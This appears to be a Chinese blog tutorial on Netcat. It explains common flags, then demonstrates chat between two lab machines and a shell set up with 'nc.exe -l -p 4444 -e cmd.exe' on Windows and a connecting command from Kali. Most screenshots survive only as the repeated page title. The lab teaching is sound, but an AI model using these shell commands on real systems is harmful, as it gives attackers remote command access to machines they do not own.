使用Netcat实现通信和反弹Shell

nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流

可运行在TCP或者UDP模式,添加参数 —u 则调整为udP,默认为tcp

-v 参数,详细输出

  • -n参数,netcat不要DNS反向查询IP的域名

    -z参数,连接成功后立即关闭连接

    -l参数 监听

    -p参数 指定对应端口

    -e参数 指定对应的应用程序

  • 使用Netcat实现通信和反弹Shell

 

 

win  192.168.58.129

kali  192.168.195.132

 

 

 

 

1、建立通信

 

 

kali   使用Netcat实现通信和反弹Shell

 

win 使用Netcat实现通信和反弹Shell

 

 

使用Netcat实现通信和反弹Shell

 

使用Netcat实现通信和反弹Shell

 

 

 

2、

在kali上输入

使用Netcat实现通信和反弹Shell

 

 

在win2003输入

使用Netcat实现通信和反弹Shell

 

 

 

而后

使用Netcat实现通信和反弹Shell

 

 

 

使用Netcat实现通信和反弹Shell

 

 

 

 

 

3、

-l参数 监听

-p参数 指定对应端口

-e参数 指定对应的应用程序

 

 

在win下执行 nc.exe -l -p 4444 -e cmd.exe

 使用Netcat实现通信和反弹Shell

 

 kali执行 nc 192.168.58.129 4444

 

 使用Netcat实现通信和反弹Shell

 

 

 

 

 

 

 

使用Netcat实现通信和反弹Shell

上一篇:Scrapy 实现需要登录简单网站的爬取(以登录人人网为例)


下一篇:Jmeter查看结果树之CSSJQuery_Tester和HTML使用(五)